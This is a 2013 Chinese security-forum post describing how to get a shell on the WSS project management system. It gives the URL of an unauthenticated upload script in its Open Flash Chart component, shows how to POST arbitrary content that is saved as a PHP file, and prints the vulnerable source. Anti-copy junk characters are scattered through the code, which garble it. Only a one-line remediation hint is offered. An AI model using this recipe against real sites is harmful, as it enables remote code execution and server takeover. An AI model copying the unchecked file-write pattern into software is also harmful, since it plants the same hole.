找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
* i. T. r/ ?( ~) D& f$ Z3 _ 漏洞文件/chart/php-ofc-library/ofc_upload_image.php; D) ~* q6 L" `
6 ?5 v' |+ |4 K
利用:0 P, Z- J+ y& W
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
) q/ X5 v1 V; d* j* c% z; w* o
9 s* `2 L7 F1 \: S4 n8 Q" IPost任意数据
% r( V8 s- F+ r& W0 {! u. j保存位置http://localhost/chart/tmp-upload-images/hfy.php
- w# N. N1 V* X: K7 o1 N& \9 M3 @, d" V- j5 Q6 a& O
7 `, Y0 t2 q- D% y
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~, X( Q$ M" \/ F  r1 R( ?% F& e

$ |& ]/ |- e+ V" S, F<?php
7 I" n; q6 Y; k& Z6 Y' J9 }+ o
/ [+ G, h7 n" j7 m. g//
3 T7 i' U8 T% R5 i) Y9 M// In Open Flash Chart -> save_image debug mode, you; V$ F6 Z( |) ^
// will see the 'echo' text in a new window.
/ i1 `/ e  D+ Y% `//" ?) a& L. q6 V! ^/ |9 u
8 G, g  z/ e! d; e
/*  r. M8 C" F; z5 {. i

6 l* X# w2 g3 c. y& T# Xprint_r( $_GET );
$ q3 r0 N+ J- p- i+ ?( i- sprint_r( $_POST );! r8 c2 ^. J# K# ^9 j" G# ]
print_r( $_FILES );
# ]& ^' N5 X7 R+ a+ H6 H" F& V8 U9 J# H8 `
print_r( $GLOBALS );
) }+ n. ?: x( T8 t3 Jprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );, ^5 J4 ^: `& x2 t6 ~) ~2 P" J/ x( d
4 ~! v  s$ E! g# W- J
*/
9 ^0 ?% C7 ^9 A9 D0 |% o! r// default path for the image to be stored //+ e4 e; ~/ N' a2 q" F! W
$default_path = '../tmp-upload-images/';: c+ d, N, o; v& Q
# j* o6 ?" v& `( Q
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ m+ V2 d1 q1 u0 s0 s
+ J$ ^: ?: O% W// full path to the saved image including filename //7 _% Y2 z% H0 V0 U5 [# {
$destination = $default_path . basename( $_GET[ 'name' ] );
+ b# `( y* p6 M! Z8 J( [) C# x6 m* B6 X! J$ j
echo 'Saving your image to: '. $destination;6 ?; d# N, O& F3 I. M5 F
// print_r( $_POST );
% b  Y( i: J2 q# a// print_r( $_SERVER );' H1 Y% b0 z2 s
// echo $HTTP_RAW_POST_DATA;- @! C1 l# g: I( U+ z. e0 }* |$ j

/ M  E" f) z5 I0 S9 c. e& K//' ~7 ]4 m- A0 z6 p% p1 e9 \
// POST data is usually string data, but we are passing a RAW .png8 h; l+ U- h% ]) ?( O
// so PHP is a bit confused and $_POST is empty. But it has saved; Z; l/ P4 q: T# {$ E2 W
// the raw bits into $HTTP_RAW_POST_DATA/ i! V. v! ^' E' a- F1 M
//3 j# m: J9 x" D7 F
- h) k# j( ]$ [4 M
$jfh = fopen($destination, 'w') or die("can't open file");1 q  B' p+ |* [! L+ s4 v
fwrite($jfh, $HTTP_RAW_POST_DATA);2 {9 v& H) b6 _. W* g9 n
fclose($jfh);
: t7 O& r  T/ |1 C1 i: [! j2 E, h5 t
//! ]7 ?) B' c% _9 s. a6 d( U9 c
// LOOK:
! S8 L2 X, ?  b2 [9 R//! \; r! A# i- ]6 ~* Q. s8 C
exit();
  K' t( Q, O/ @  s//# j3 M$ V* k* A% @4 \
// PHP5:
5 F! @8 ]8 i6 H% T( Q3 {//1 H! s" A7 Z" _) r0 l4 m

  j; p) a4 x9 x+ T4 n+ Z+ d
' ]; Y/ W+ v; m# U// default path for the image to be stored //( A1 M5 T) x7 w6 Q
$default_path = 'tmp-upload-images/';1 Q3 t4 [, Z* \- k$ B% `

9 |9 \; e2 N3 j- ~4 Q  q; @$ sif (!file_exists($default_path)) mkdir($default_path, 0777, true);
# o: j0 b! Z. ?, w  j; e3 b: V( s2 ]1 E4 ^8 j
// full path to the saved image including filename //1 y; n* [6 z" H- l
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
: }4 W/ ?7 E2 @: y* X' [6 `% f1 U/ x8 s; @: k/ |- X9 m
// move the image into the specified directory //
' z" E, ?/ M5 |2 v- l2 {if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
  B4 Z; m) A- n4 V: S2 L" ]    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";4 c8 H6 `+ u+ w& n% a
} else {
9 `. v0 @3 ?9 V    echo "FILE UPLOAD FAILED";
. J: `7 \# F- e- `}
" R+ ?) a4 K: u7 w- @2 B
" H; m6 j" S- [0 E4 U, e7 J/ K0 s$ e& S/ u. r$ [+ k* n* m
?># t, ^" Q; @* {( o. \

* O; x( @( E* s# Y' ~& L/ B1 a% s* E$ u3 Z6 B; E. a" V6 R

# m9 N" b5 ^- h
- k6 Q& ~9 o: u/ z- W$ f' L) A1 q: c4 K
$ i8 c. p; l% \$ Z' Z) P! Z6 \* b
修复方案: " F; R  q6 J! c5 |1 X
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
0 l  C7 W( _$ O5 y* J  O- e6 W# `- e. D/ c: ?7 o
3 w: U7 L  a6 J0 P9 o% d

. z6 P* u$ f) F& t% z! d+ U
# W/ @5 ~' r; K$ e( v

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表